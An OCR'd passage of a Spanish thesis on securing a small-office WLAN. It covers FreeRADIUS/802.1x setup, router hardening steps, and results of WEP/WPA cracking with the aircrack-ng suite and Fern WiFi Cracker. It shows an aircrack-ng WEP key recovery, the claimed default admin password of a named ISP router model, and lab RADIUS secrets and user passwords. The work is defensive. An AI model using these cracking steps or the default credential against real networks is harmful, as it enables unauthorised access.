servidor RADIUS de cddigo abierto que admite el protocolo EAP (Extensible Authentication
Protocol) y también es el Gnico que admite servidores virtuales, el uso de servidores significa
que las implementaciones complejas son simplificadas.

El protocolo de disefio modular hace que FreeRADIUS sea facil de entender lo que simplifica a
su vez la agregacion o eliminacion de modulos. El uso de la memoria también es importante ya
que esta flexibilidad permite que el servidor funcione en plataformas que van desde sistemas

embebidos hasta maquinas multi-core con gigabytes de RAM.

La escalabilidad le permite al servidor manejar facilmente una solicitud cada pocos segundos al
manejar miles de peticiones por segundo. El servidor RADIUS es el responsable de recibir la
solicitud de conexion, autenticar al usuario y devolver al mismo tiempo la informacion de

configuracion.

Cada sesion de usuarios individual estd cifrada de forma exclusiva, impidiendo que otros
usuarios obtengan informacién privada, a diferencia de una red PSK, en donde cada usuario

comparte la misma clave de cifrado.

Un usuario o dispositivo particular puede ser desautorizado mediante la desactivacion de la
clave de cifrado Unica correspondiente. Esta desactivacion garantiza que el usuario
desautorizado no puede acceder a la red con ninguna otra clave, sin afectar las claves de

seguridad para otros usuarios.

1.5.1.3.3 Desventajas del servidor RADIUS

Algunas de las desventajas que se pueden presentar en el servidor de autenticacion freeRADIUS
se describen en los siguientes parrafos.

Interoperabilidad: a pesar de que 802.1x tiene una aceptacion casi universal, el uso de los
distintos métodos de EAP implica que la interoperabilidad no siempre esta garantizada, debido
a laincompatibilidad que se presenta en los dispositivos al no contar con los mismos certificados

de autenticacion, por lo que el servidor RADIUS no otorga el acceso a la red.
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Disponibilidad: al tratarse de una configuracion de seguridad compleja, muchas de las pequefias

empresas (Pymes) no disponen o hacen uso del estandar 802.1x.

A continuacién, se hace una breve descripcion del estandar IEEE 802.1x el cual trabaja en

conjunto con el servidor RADIUS para realizar la autenticacion [31, 32, 33].

1.5.1.3.4 Autenticacion IEEE 802.1x

Esta autenticacion fue establecida especificamente en un inicio para redes cableadas, donde el
mecanismo permite que un cliente, mejor conocido como suplicante, sea autenticado a una red

inaldmbrica a través del uso de un servidor de autenticacion.
IEEE 802.1x esta compuesto basicamente por tres entidades funcionales:
e El suplicante que se une a la red
e El autenticador que hace el control de acceso
e El servidor de autenticacion que toma las decisiones de autorizacion

En el caso de las redes inalambricas el AP es el autenticador. Utiliza PAE (Port Access Entity),
donde cada puerto fisico se divide en dos puertos logicos: PAE de autenticacion y PAE de
servicio. La PAE de autenticacion estd siempre abierta y permite el paso de procesos de

autenticacion, mientras que la PAE de servicio sélo se abre tras una autenticacion exitosa.

802.1x utiliza una combinacidn del protocolo de autenticacion extensible EAP y RADIUS para

autenticar clientes y distribuir las claves. EAP es un entorno para el transporte de varios métodos
de autenticacion, permite solamente un nimero limitado de mensajes (Request, Response,
Success, Failure), mientras que otros mensajes intermedios son dependientes del método de
autenticacion como EAP-TLS, EAP-TTLS, PEAP.

Una vez que el proceso se ha completado ambas entidades tanto suplicante como servidor de

autenticacion tendran una clave secreta.

La autenticacion 802.1x se inicia cuando el AP pide datos de identidad del cliente e incluye el
método de autenticacion preferido. Se intercambian entonces mensajes apropiados entre el
cliente y el servidor de autenticacion para generar una clave maestra (MK - Master Key) comun.
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Al final del proceso, se envia desde el servidor de autenticacion al AP un mensaje final EAP
Success para el cliente. EAP es un protocolo utilizado por 802.1x para efectuarse la
autenticacion de un usuario, para conocer este proceso en la siguiente seccion se describe a

grandes rasgos dicho protocolo [27].

1.5.1.3.4.1 Protocolo EAP

El protocolo EAP es utilizado por el estandar 802.1x y WPAZ2 enterprise para autenticar a un
usuario antes de que se le permita el acceso a la red. Debido a que utiliza uno de los muchos
métodos disponibles para autenticar un usuario. Este protocolo cuenta con tres componentes

mas: autenticador, suplicante y servidor de autenticacion backend.

En el caso del autenticador éste se encarga de controlar quién puede y quién no tener acceso a
la red. En una red inalambrica el autenticador es el AP, el cual debe tener incorporado en si

mismo la seguridad WPA2-Enterprise.

El autenticador facilita la transmision entre el suplicante y el servidor de autenticacion. Este no
decide a quién le permite o niega el servicio de acceso a la red, el autenticador sigue las
instrucciones del servidor de autenticacién de backend. El autenticador utiliza TCP/IP para

comunicarse con el servidor RADIUS y EAP para comunicarse con el suplicante.

El suplicante concede al cliente acceso a la red, soporta varios métodos de autenticacion y
utilizara solo uno. Desafortunadamente, para algunos sistemas operativos es posible que no se
incluya soporte para un método EAP requerido, lo que se puede resolver con la instalacion de

un suplicante que incluya el soporte requerido para el método EAP requerido.

El tipo de red en la que se utiliza el suplicante determina la forma en que el suplicante encapsula
los paquetes EAP para comunicarse con el autenticador. En la red WI-FI sera encapsulado
dentro del protocolo EAPoW (EAP over Wireless).

El servidor de autenticacion de backend es el que decide a quién se le concede o niega el acceso
a la red a pesar de que el autenticador controla el acceso, este servidor normalmente es un
servidor RADIUS [31].
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En el siguiente capitulo se indica la metodologia para identificar vulnerabilidades en una
WLAN, asi como la metodologia para la implementacién de hardening para brindarle mayor
seguridad a una WLAN.
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CAPITULO Il

“Los virus informdticos muestran la naturaleza humana: la unica forma de vida que hemos
creado hasta el momento es puramente destructiva.”
Stephen Hawking






Capitulo 2 Metodologia

De acuerdo a los objetivos que se plantearon en la presente tesis de implementar hardenig para
robustecer la seguridad de una WLAN en un entorno SOHO a partir de una identificacion de
vulnerabilidades, en este capitulo se describe la metodologia para llevar a cabo exitosamente

dicha implementacion.

La siguiente metodologia se divide en dos partes, tal que la primera parte se enfoca en la
identificacion de vulnerabilidades en una WLAN y en la segunda parte se aborda la

implementacion de hardening para solventar las vulnerabilidades.

2. Metodologia para identificar vulnerabilidades.

Para realizar la identificacion de vulnerabilidades fue necesario seguir los siguientes pasos:
1.- Disefiar un escenario para realizar las pruebas de vulnerabilidad.

2.- Instalar una maquina virtual para realizar los ataques.

3.- Determinar herramientas para realizar ataques.

Dichos pasos se describen a detalle en los siguientes parrafos.

Para identificar las vulnerabilidades se disefid un escenario de pruebas que consta de: un atacante
implementado en una laptop con la distribuciéon Kali Linux; una WLAN conformada por un
modem’ que ejecuta la funcion de APy los dispositivos que tiene acceso a la red, estos son: dos
celulares con sistema operativo Android, una laptop y una computadora de escritorio a la cual
se le adapt6 una tarjeta inalambrica debido a que los ataques se hicieron de forma inalambrica.

Todos los dispositivos anteriormente mencionados forman un BSS.

7 Originalmente un médem es un sistema que transforma sefiales analégicas a digitales y viceversa, actualmente

tiene funcionalidades de un router, un switch, firewall y un AP.
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El escenario de prueba de ataques es el que se muestra en la figura 2.1.
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Figura 2.1. Disefio del escenario de pruebas en un BSS (diagrama propio).

Las caracteristicas de los dispositivos que jugaron el papel de victimas como el atacante usados

en el escenario de pruebas se muestran en la tabla 2.

Dispositivo ‘

Celular Infinix (victima)

Caracteristicas
Android version 6.0, 1GB de RAM, CPU Quad-core

Celular Sony E1(victima)

Android version 4.4.2., 512 de RAM, CPU Qualcomm

Laptop Toshiba (victima)

Sistema operativo windows de 64 bits, 4GB de RAM, procesador Intel
core i3

AP  ARCADIAN (modelo
VRV9529AWAC24) (victima)

Compatible con los estandares b/g/n/ac con seguridad WEP, WPA,
WPA2 (PSK y 802.1x)

Computadora de escritorio

(victima)

Sistema operativo Windows de 32 bits, 512MB de RAM, procesador
Intel pentium 4

Laptop Toshiba (atacante)

procesador: Intel(R), Core (TM) i5-3317U CPU@ 1.70GHz, memoria
RAM: 8 GB, Sistema operativo Kali Linux de 64 bits, Disco duro: 1
B
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Caracteristicas de los dispositivos en el escenario.



No soélo se realizaron ataques en el escenario de pruebas ya que se atacaron AP encontrados en
el medio de los cuales se desconocen sus caracteristicas, cabe resaltar que los ataques a estos

AP se realizaron con el permiso previo.

Para llevar a cabo los ataques a los protocolos de seguridad de una WLAN, se usé una maquina
virtual con la distribucién Kali Linux y una tarjeta inalambrica que trabaja bajo los estandares
802.11 b/g/n con un alcance aproximado de 50 m, con una antena de 5 dBi, que opera a una
frecuencia de 2.4 GHz.

Se opto por la instalacion de una maquina virtual debido a que ésta se puede ejecutar dentro del
sistema operativo principal, sin la necesidad de desinstalar el sistema operativo ya existente. Asi
mismo, aprovecha los recursos reales del ordenador comportandose como si fuera el sistema

operativo principal.

2.1 Maquina virtual para la identificacion de vulnerabilidades

El software de virtualizacion que se utilizo para crear la maquina virtual fue Virtual Box, se
optd por esta opcion debido a que es un software libre. En el anexo B se describen los pasos a

seguir para crear una maquina virtual con Kali Linux.

El siguiente paso fue actualizar el sistema operativo antes de utilizar las herramientas de Kali
Linux o la instalacion de cualquier otro programa, dicha actualizacién se realiza mediante los

siguientes comandos:

# apt-get update

# apt-get upgrade

Para atacar a la WLAN deseada, se usan las herramientas que se presentan en la tabla 2.1.

Protocolo Herramienta

WEP Ferm-WIFI, Suite AIR
WPA personal Wifiphisher, Airmon-ng, Airodump-ng, Aireplay-ng, Aircrack-ng
WPAZ2 personal Airmon-ng, Airodump-ng, Aireplay-ng, Aircrack-ng

WPA/WPAZ2 enterprise Hostapd-wep, zcat.

Tabla 2.1. Herramientas para ataques.
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Para mitigar las vulnerabilidades que presentan las WLAN se implement6 hardening mediante

la metodologia que se indica a continuacion.

2.2 Implementacion de hardening en una WLAN

Para llevar a cabo la implementacion de hardening se siguen los siguientes pasos:
1.- Implementacion de un servidor de autenticacion (freeRADIUS)

Una vez que esté configurado el servidor de autenticacion éste estara en la topologia de la

WLAN como se muestra en la figura 2.2.

Internet

WLAN

servidor de
autenticacion

Figura 2.2. Topologia de la WLAN con el servidor de autenticacion freeRADIUS (diagrama propio).

2.- Configuracion del AP.
Estos pasos se describiran a detalle en las siguientes secciones.

En la seccion 1.5.1 del capitulo 1 se describié el conjunto de actividades que componen la
implementacion de hardening, sin embargo, se implementaron solamente los siguientes puntos:
servidor de autenticacion, desactivacion de la difusion del SSID, filtrado MAC, cambio del
nombre de la red, desactivacién del WPS, creacion de contrasefias seguras, gestion del AP,
minimizacién de la potencia del AP y actualizacion del firmware. ElI enmallado no se
implemento debido a que es una actividad muy costosa. Con la implementacion de estos puntos

de hardening se podré evitar el acceso a la WLAN y complicar el trabajo a usuarios maliciosos
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ya que con hardening se agregan capas de seguridad por las que debera pasar el usuario para

poder tener acceso a la red.

2.2.1 Implementacion del servidor de autenticacion como primer punto

de hardening

Para implementar el servidor de autenticacion se siguieron los siguientes pasos:

1.- Instalacion del sistema operativo (Kali Linux) en la tarjeta de desarrollo Raspberry Pi3
2.- Instalacion del servidor de autenticacion (freeRADIUS)

3.- Configuracion del servidor de autenticacion (freeRADIUS)

4.- Configuracion del AP de acuerdo con freeRADIUS

Estos pasos se describen en los siguientes parrafos.

Debido a que se desea migrar la autenticacion enterprise a un entorno SOHO, el servidor de
autenticacion no tiene que ser implementado en una PC independiente o tener un servidor de un
valor mayor, es por ello que se propuso implementarlo en una tarjeta de desarrollo Raspberry
Pi3, cuyo valor aproximado es de $1500 MN con todos los elementos que se utilizaron para
poder manipularla, estos son: teclado, mouse, fuente de corriente y una memoria micro SD de
32 GB.

La tarjeta de desarrollo Raspberry P13 cuenta con un CPU BCM2837 ARMV8 de 64 bits, 1 GB
de memoria RAM y compatibilidad con los estandares 802.11 b/g/n. Algunas otras

caracteristicas generales de esta tarjeta se indican en la figura 2.3.
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La implementacion del servidor es posible en la tarjeta Raspberry Pi ya que ésta funciona como

un ordenador autonomo capaz de ejecutar algunas versiones Linux, como por ejemplo Raspbian,

Ras berrr (EET

od e B 85.6mm x 56mm x 21mm / Ports
40 Pin @ »
sl Ve
\“'\ i

Extended GPIO

Broadco
BCM2837 64bit
Quad Core CPU
at 1.2GHz,
M
3.5mm 4-pole
On Board Composite Video

and Audio

Bluetooth 4. 1 Output Jack

MicroSD / CSI Camera Port
Card Slot
Full Size HDMI
Micro USB Power Input. Video Output

DSI Display Port Upgraded switched
ower source that can

andle up to 2.5 Amps

Figura 2.3. Caracteristicas generales de la Raspberry Pi 3 (figura tomada [32].

Ubuntu mate, Kali Linux, entre otras distribuciones.

2.21.1

Para implementar freeRADIUS en la tarjeta Raspberry Pi 3, lo primero que se hizo fue instalar
el sistema operativo, en este caso se eligié Kali Linux para arquitectura ARM debido a que la

presente tesis se inicid a trabajar con esta distribucion. En la figura 2.4 se muestra la pantalla

Instalacion del sistema operativo Kali Linux en la Raspberry

principal de Kali Linux en la Raspberry Pi 3.
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Una vez que el sistema operativo ha sido instalado éste debe ser actualizado mediante los

siguientes comandos: apt-get updatey apt-get upgrade

Para el buen funcionamiento de la distribucion Kali Linux fue necesario agregar la direccion de
los repositorios faltantes para poder acceder a las bibliotecas, actualizaciones y paquetes, estos
repositorios se encuentran en la pagina oficial de Kali Linux. En el anexo B se indican las

bibliotecas que fueron agregadas.

Debido a los cambios realizados en la distribucién debe actualizarse nuevamente el sistema
operativo. Una vez hecho todo lo anterior se llevé a cabo la instalacién del servidor de

autenticacion como se indica a continuacion.

2.2.1.2 Instalacion del servidor de autenticacion (freeRADIUS)

Para la instalacion de freeRADIUS, se utilizd la version 3.0.15. Antes de la instalacion de
freeRADIUS, se instalaron los paquetes y las dependencias® necesarias, por ejemplo:
“dependencias duras” como lo es la dependencia libtalloc. Talloc es un asignador de memoria
jerarquico, que necesita freeRADIUS para su instalacion. ElI paquete dpkg-dev instala las
herramientas necesarias para desempaquetar y crear los paquetes debs, asi mismo incluye la
herramienta autoconfig y la biblioteca make ademas de construir y cargar los paquetes

debian.

Por otro lado, la instalacion de OpenSSL es necesaria para poder utilizar la autenticacion EAP
con el servidor, ya que OpenSSL incluye todas las bibliotecas y archivos de cabecera, como
libssl y libssl-dev, si no se tienen instaladas tanto las bibliotecas como los archivos de cabezera
necesarios, muchos tipos de EAP no funcionan, de igual manera el paquete build-dep es
utilizado para instalar todas las bibliotecas y dependencias del paguete fuente de freeRADIUS,

Fakeroot. Este permite construir paquetes en formato deb.

Otro paquete que es importante instalar es el paquete ssl-cert si no se instala causa problemas
con los médulos de EAP al iniciar sesion en freeRADIUS, por dicho motivo este paquete debe

ser instalado.

8 Una dependencia es un paquete o paguetes necesarios para que otro paquete pueda instalarse y ejecutarse.
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Para que el servidor de autenticacion pueda proporcionar la autenticacion que se desea, éste
debe comunicarse con un cliente por lo que no es suficiente con realizar solamente la instalacion

de dicho servidor, sino que es necesaria la configuracion de sus archivos.

2.2.1.3 Configuracion del servidor de autenticacion

freeRADIUS

Las precondiciones necesarias para configurar el servidor de autenticacion son: tener instalado
el servidor de autenticacion y verificar su funcionamiento. Posteriormente, se inicia el servidor

en modo depuracion utilizando el siguiente comando:
#radiusd-X.

Al ejecutar esta instruccién sobre la linea de comando de la terminal de Kali Linux, el servidor
de autenticacién responde enviando un mensaje a la salida estandar que es el monitor con el
mensaje ready to process requests, lo que indica que el servidor fue instalado y configurado

exitosamente como muestra la figura 2.5.

File Edit View Terminal Tabs
Auth-Type PAP {
pap: Login attempt with password
) pap: Comparing with "known good" Cleartext-Password
) pap: User authenticated successfully
[pap] = ok
} # Auth-Type PAP = ok
) # Executing section post-auth from file /usr/local/etc/raddb/sites-enabled/default
post-auth {
update {
No attributes updated
} # update = noop
[exec] = noop
policy remove_reply message_if_eap {
if (&reply:EAP-Message && &reply:Reply-Message) {
if (&reply:EAP-Message && &reply:Reply-Message) > FALSE
else {
[noop] = noop
} # else = oop
} # policy remove_reply_message_if_eap noop
} # post-auth = noop
Sent Access-Accept Id 100 from 127.0.0.1:1812 to 127.0.0.1:37485 length ©
(0) Finished request
| 4.9 seconds.
quast packet ID 100 with timestamp +185

Help

|Ready to process requests

Figura 2.5. Respuesta del servidor freeRADIUS en modo depuracion (diagrama propio).

FreeRADIUS posee un archivo de configuracién muy grande, por lo que se dividié en varios
archivos pequefios los cuales deben ser configurados cuidadosamente, cada archivo cuenta con
informacion adicional para una configuracion mas sencilla. Estos archivos se encuentran en

Jusr/local/etc/raddb los archivos que se modificaron fueron: archivo clients y el archivo users.
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Una vez que el servidor estd trabajando en modo de depuracién se realiza una prueba de
autenticacion. Para realizar esto, se tiene que agregar un usuario en el archivo users el cual se

encuentra en la direccion /usr/local/etc/raddb/, en este archivo se agrega el siguiente texto:
testingCleartext-password := “hola”

Cabe mencionar que cada vez que se configure algun archivo del servidor de autenticacion, éste
debe reiniciarse y ponerse en modo depuracion nuevamente. Una vez hecho esto, se ejecuta el

comando radtets desde otra terminal, el comando radtest se ejecuta de la siguiente manera:
root@kali:~# radtest testing hola 127.0.0.1 0 testingl23

Radtest provee una forma simple y conveniente para enviar requerimientos a un servidor
RADIUS vy analizar las respuestas a estos requerimientos, por otro lado, confirma la

comunicacion existente entre el servidor de autenticacion y el cliente.

Al ejecutar el comando rasdtest el servidor debe responder con un Access-Accept, como se
muestra en la figura 2.6. Esta respuesta indica que el servidor de autenticacion esta funcionando
correctamente. EIl siguiente paso es agregar un cliente, es importante aclarar que los clientes no
son las estaciones, es decir, no son laptops, smartphones, tabletas, etc. ya que éstas no

interactUan directamente con el servidor de autenticacion, en este caso el cliente es el AP.

~# rasdtest
asdtest: command not found
ali:~# radtest
2: radtest [OPTIONS] user passwd radius-server[:port] nas-port-number secret [ppph

int] [nasname]

d RADIUS_DIR Set radius directory

t <type> Set authentication method

type can be pap, chap, mschap, or eap-md5

-P protocol Select udp (default) or tcp

X Enable debug output

4 Use IPv4 for the NAS address (default)

-6 Use IPv6 for the NAS address

l:~# radtest testing password 127.0.0.1 0 testingl23

s-Request Id 100 from 0.0.0.0:37485 to 127.60.0.1:1812 length 77

User-Name = “"testing”

User-Password = "password”

NAS-IP-Address = 127.0.0.1

NAS-Port = ©

Message-Authenticator = 0x00

ctearcext-rassword = “"password”
IReceived Access-Accept Id 100 from 127.6.0.1:1812 to 0.0.0.0:0 length 26
root@Kacti-=w—s< =ab

bash: screengra mand not found

Figura 2.6. Respuesta del servidor de autenticacion (diagrama propio).
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2.2.1.3.1 Configuracion de los archivos clientes y usuarios.

Para llevar a cabo la comunicacion que existe entre el cliente y freeRADIUS, se realizo la
adicion de un cliente en el servidor de autenticacion dentro del archivo clients.conf. Este archivo
se encuentra en la direccion: /usr/local/etc/raddb/clients.conf. Se debe ingresar la direccion IP
del AP, la contrasefia que compartirén tanto el servidor de autenticacion como el AP, el nombre
que se le dara a la red, el tipo de conexion y el SSID. En la figura 2.7 puede apreciarse la
configuracion del cliente.
client infinitum2351 {
ipaddr = 192.168.1.254

secret =#DL$3@h4r!/
proto =

require message authenticator = no
nas_type = other
shortname = dijkstra

Figura 2.7. Adicidn de cliente (diagrama propio).

Otro archivo que se configurd fue el archivo users, éste debe contener todos aquellos usuarios
que podran autenticarse para tener acceso a la red, cada usuario tendra una contrasefia como se

muestra a continuacion:

Lily Cleartext-pPassword := “1771y01”

Lety Cleartext-Password := “123456"

Atenea Cleartext-Password := “testing”

Hasta aqui los archivos que se tienen que configurar en freeRADIUS. En la siguiente seccidn se
muestra la configuracion que se tiene que realizar en el AP para que se pueda llevar a cabo la
comunicacion entre éste y el servidor de autenticacion freeRADIUS.

2.2.14 Configuracion del AP de acuerdo a freeRADIUS

El cliente también se debe configurar para que pueda interactuar con el servidor de autenticacion
freeRADIUS, este debe contener la direccion IP del servidor RADIUS, el puerto que utiliza
freeRADIUS (1812 UDP) para establecer sus conexiones de autenticacién, asi como la misma
clave secreta que se haya configurado en el servidor dentro del archivo clients.conf. Cabe

mencionar que se usaron tres AP de tal modo que dos son de un ISP (Arcadian
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VRV9529AWAC?24 y Alcatel) y el otro es de otro fabricante (Linksys 38378), con el fin de
comprobar si era posible implementar el servidor de autenticacion en los AP que ofrece un ISP,
0 si es necesario adquirir un AP con las caracteristicas que posibiliten la implementacion de
dicho servidor. Asi mismos tanto en esta seccion como en la seccion de resultados solo se
mostrara la configuracion de un AP, (siendo éste el que actualmente esta operando en la WLAN
del escenario de pruebas), la configuracion que se realizé en los otros dos AP se documenta en
el anexo C.

En la figura 2.8 se aprecia la configuracion del archivo clients.conf en RADIUS y en el AP,
donde puede notarse que el servidor de autenticacion tiene tanto el nombre como la contrasefia

que posee el cliente para que pueda existir la comunicacion entre ellos.

client infinitum2351 { e —
ipaddr = 192.168.1.254 IP del AP
secret =#d&L$3@h4r!/ —
proto =

require_megsage authenticator = no
nas_type = other
shortname = dijkstra

IP-Servidor 192,168.1.66

181
181

Puerto-Servidor

Clave Secreta
SSID1

Tipo de cliente permitido WPA2 v

Figura 2.8. Configuracion del cliente (diagrama propio).
Una vez que esta configurado el servidor de autenticacion éste estara en la topologia de la

WLAN como se muestra en la figura 2.2.

2.3 Configuracion del AP de acuerdo a otros pasos de hardening

Para robustecer aun mas la seguridad fue necesario configurar el AP de manera interna para
implementar los siguientes pasos:

1.- Desactivacion del WPS
2.- Creacion de contrasefias robustas
3.- Desactivacion de la difusion del SSID

4.- Desactivacion de la configuracion remota
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5.- Activacion del filtrado MAC
6.- Gestion del AP

7.- Minimizacion de la potencia
8.- Actualizacion del firmware

Dichos pasos se describen a detalle a continuacion.

2.3.1 Desactivacion del WPS

Dentro del AP se tiene que deshabilitar la configuracion WPS, esta actividad se puede realizar
dentro de la seccién de configuracion inaldmbrica como se muestra en la figura 2.9 para evitar

un posible ataque.

2.4GHz Funcién de mddulo inaldmbrico : ¥ Habilitar
5GHz Funcién de médulo inalambrico : ¥ Habilitar
IModo WPS : Habilitar I

Figura 2.9. Desactivacion del WPS (diagrama propio).

2.3.2 Creacion de contrasenas robustas

Se crearon contrasefias robustas tanto en el servidor de autenticacién como en el AP para hacer
la labor mas dificil al atacante, la creacion de dichas contrasefias se menciona en el capitulo 1
de este trabajo. En la figura 2.10 del lado izquierdo se muestra la configuracion de los usuarios
que podran tener acceso a la red y puede notarse que las contrasefias tienen cierto grado de
dificultad, en el lado derecho de la figura se muestra la configuracion del AP que interactuara

con el servidor.

kratos Cleartext-Password := "D4n13Ls3rr@n0*" | ERLEgGl (g 192,168.1.66
danny Cleartext-Password := "L1ly01&d4n!s"

magnolia Cleartext-Password := "m46A1*G0O3/" Puerto-Servidor
dranix Cleartext-Password := "*md4jgsm2218$"
lily Cleartext-Password := "#mlL!1y3st4%"

helio Cleartext-Password := "!ell10pGloOct" Clave Secreta

Figura 2.10. Creacion de contrasefias seguras (diagrama propio).
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2.3.3 Desactivacion de la difusion del SSID

La desactivacion del SSID es importante para que el nombre de la red no pueda ser vista tan

facilmente, motivo por el cual se desactivé dicha difusion como puede verse en la figura 2.11.

WLANL

Habilitar SSID1 L

Ileundir S51D1

SSID1 dijlstra
Tipo de cliente permitido WRAZ v

Modo Inalambrico B802.11g+802.11n r
Velocidad de datos 150 Mbps

BSSID 48:8D:36:AE:5D:50

Figura 2.11. Desactivacion del SSID de la red (diagrama propio).

2.3.4 Desactivacion de la configuracion remota

En caso de que un usuario malicioso pueda acceder a la red éste podria tener acceso al AP y si
la configuracion remota esté activada la red puede verse comprometida, debido a que el atacante
podria hacer las configuraciones adecuadas para su beneficio. Para evitar esto es forzoso
desactivar esta caracteristica, cabe mencionar que esta configuracion no se puede realizar en
todos los AP como en el caso de los AP Arcadyan VRV9529AWAC24 de TELMEX.

2.3.5 Activacion del filtrado MAC

El filtrado MAC permite la conexién solamente a aquellos dispositivos que estén dados de alta
en la lista de direcciones MAC y evita el acceso a la red a usuarios no deseados, o bien puede
usarse este filtrado en forma de lista negra ingresando las direcciones MAC de los dispositivos
que no deben tener acceso a la WLAN, esta opcion no se recomienda ya que las direcciones
MAC de los atacantes se desconocen motivo por el cual no se podria evitar que entren a la red.
En la figura 2.12 se muestra el filtrado de las direcciones MAC con acceso a la WLAN en el

escenario de pruebas.
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Tabla de filtrado MAC {(hasta 32 computadoras)

Las direcciones MAC san Permitida ¥

Listado de clientes DHCP --Seleccionar uno --
Copiar a | 1 T

10 Direccidn MAC

1 Ta i i |ca - b3 HE=

z co - D ez 139 HES= H=

3 20 el ! |db 143 kR tlel

4 4 ! |2g i |53 ! 0e |2 T

Figura 2.12. Filtrado MAC. (diagrama propio).

2.3.6 Gestion del AP

Es de vital importancia el cambio de contrasefia que viene por default en el AP, ya que si un
intruso tiene acceso a la red este podria tener acceso a la configuracion del AP, (siempre y
cuando cuente con el modelo y la contrasefia de dicho AP), por ejemplo, la contrasefia por
default para los AP Arcadyan VRV9529AWAC?24 de TELMEX es (TmFbWKKHFs) y se ha
cambiado por otra como se muestra en la figura 2.13.

Contrasefia actual TraFbWEKHF=
Muewva contrasefia l4m@M4m3pIe s
Ingrese nuevamente la contrasefia para confirmar L4m@M4m3p36a|

Figura 2.13. Cambio de contrasefia para gestion del AP (diagrama propio).

2.3.7 Minimizacion de la potencia

La minimizacién de la potencia es una buena actividad para evitar que la red inalambrica no
cubra maés alla del area deseada, ya que para que un ataque tenga éxito necesita alcanzar una
potencia aproximadamente de -60 dBm. Existen AP que cuentan con potencia baja, media, alta

y méaxima, y otros que solo tienen baja, media y alta. ElI AP que se configurd cuenta con estos
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tres niveles y se configuro en baja como se muestra en la figura 2.14, la cual cubre perfectamente

el area deseada.

Canal Inalambrico 11 L

Energia de radio Bajz ¥

Figura 2.14. Minimizacion de la potencia (diagrama propio).

2.3.8 Actualizacion del firmware

Esta actualizacion es importante para que se actualicen los parches de seguridad cabe mencionar
que en algunos AP se necesita bajar el firmware y actualizarlo manualmente como en el caso de
los ARCADYAN VRV9529AWAC24 de TELMEX, mientras que en otros la actualizacién es
automatica. En la figura 2.15 se muestra que la actualizacion del firmware del AP ARCADYAN
VRV9529AWAC24 debe realizarse manualmente.

Actualizacion de firmware

Esta pagina le permite actualizar el firmware del equipo a través de un archivo provisto por nosotros,

Seleccione el archivo de actualizacion, después presione el botan
“actualizar"

Seleceionar archiva | Mingdn archivo zeleccionado

Actualizar | Cancelar |

Figura 2.15. Actualizacion del firmware en el AP (diagrama propio).

Una vez que la red inaldmbrica se ha robustecido mediante la implementacion de hardening, se

evalUa la seguridad de dicha red mediante una revision.

La revision de la seguridad de WLAN se lleva a cabo en dos partes, tal que la primera parte
consta en la realizacion de una revision previa al robustecimiento, es decir, antes de la
implementacién de hardening y una segunda revision después del robustecimiento, con el fin

de hacer una comparativa.

Para realizar la revision de seguridad se utilizé Kali Linux, primero se puso la tarjeta inalambrica
en modo monitor. El siguiente paso fue realizar un escaneo para detectar el trafico inalambrico
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y poder ver las redes aledafias, el nombre de la red, la intensidad de la sefial del AP, las
estaciones que estan conectadas, asi como ver el tipo de autenticacion que se estd usando. Por

otro lado, se probd la eficiencia del robustecimiento de la WLAN. Esta revision de seguridad
se detalla en el siguiente capitulo.
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CAPITULO IlI

“Ser capaz de superar la seguridad no te convierte en un hacker, de la misma forma que hacer
un puente a un coche no te convierte en un ingeniero mecdnico”

Eric S. Raymond






Capitulo 3 Resultados y conclusiones

En el presente capitulo se describen los resultados obtenidos al realizar el analisis de
vulnerabilidades que pueden presentar las WLAN. Asi mismo, incluye los resultados que se

obtuvieron al implementar hardening en una WLAN.

En la primera parte se documentan los resultados de ataques a los protocolos WEP, WPA Y
WPAZ2 con las herramientas Fern wifi crack, wifiphisher y la Suite AIR. En la segunda parte se
documentan los resultados obtenidos de la implementacion de hardening en el AP Arcadian
VRV9529AWAC?24.

3 Resultados de los ataques a redes inalambricas para detectar
vulnerabilidades e implementar hardening

Se realizaron cinco ataques con la misma herrmienta tanto al escenario de pruebas como a las
redes que se encontraron en el medio, con el propoésito de estimar un tiempo promedio de
respuesta de las herramientas para romper la seguridad, donde los primeros ataques se iniciaron
en una WLAN con autenticacion WEP, posteriormente se atacaron los protocolos WPA y
WPA2.

3.1 Resultados de los ataques a una WLAN con seguridad WEP

Con la herramienta Fern wifi crack, se realiz6 un escaneo para localizar las redes cercanas y se
selecciond la red que se deseaba atacar, los cinco ataques convergieron entre 1.07 y 1.39 min.
Finalmente se obtuvo un tiempo promedio de 1.08 min. En la figura 3.0 se muestra el grafico

de los cinco ataques que se realizaron a la WLAN con autenticacion WEP.
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Figura 3.0. Ataques a una WLAN con seguridad WEP (diagrama propio).

En la figura 3.1 se muestra la obtencién de la clave WEP en un tiempo promedio de 1.08min.

Figura 3.1. Obtencidn de contrasefia con la herramienta Fern WIFI Cracker (diagrama propio).
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3.1.1 Resultados del ataque a WEP con las herramientas de la Suite AIR

La primera red que se atacd con las herramientas de la Suite AIR fue al escenario de pruebas
con seguridad WEP, los dispositivos que jugaron el papel de victima fueron una laptop y un
teléfono celular. Cabe mencionar que el ataque a un dispositivo mévil requiere mas tiempo para
llevarse a cabo, ya que tard6 aproximadamente alrededor de 16 min con 25 seg, en cambio los
5 ataques que se efectuaron a la WLAN victima en la cual estaba autenticado un usuario con
una laptop fue menor, estos tardaron en promedio 7 min con 9 seg. En la figura 3.2 se muestra
la obtencion de la contrasefia de dicho ataque, cabe aclarar que la clave que se obtuvo es la que
trae por default el AP. Asi mismo, en este ataque no fue necesaria la utilizacion de un diccionario

como en WPA que se describe a continuacion.

(~# aircrack-ng mired-02.cap
Opening mired-02.cap
Read 79867 packets,

& BSSID ESSID Encryption

1 78:1D:BA:0D:08:FC INFINITUMS84d WEP (19595 1IVs)
Choosing Tirst network as target.

Opening mired-02.cap
Attack will be restarted s =S TEPR fiVs .
Starting PTW attacii"with 19645 ivs.
KEY FOUND! [ 39:39:33:31:38 ] ASCII: 99318 )
Decrypted Conzectly: 100%

Figura 3.2. Obtencion de contrasefia con WEP con aircrack-ng (diagrama propio).

En la siguiente seccion, se muestran los resultados obtenidos de los ataques a los protocolos
WPA y WPA?2.

3.1.2 Resultados de los ataques a una WLAN con seguridad

WPA/WPAZ2 personal

En esta seccidn se presentan los resultados a los ataques WPA personal y WPAZ2 personal, cabe

mencionar que los resultados de WPA2 son muy similares a los de WPA.

Para violar la seguridad de una WLAN con protocolos WPA y WPAZ2 fue necesario utilizar las

herramientas de la Suite AIR, asi como una base de datos de posibles contrasefias o mejor
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conocido como diccionario, Kali Linux por su parte cuenta con un diccionario para este

proposito. Los resultados que se obtuvieron se documentan a continuacion.

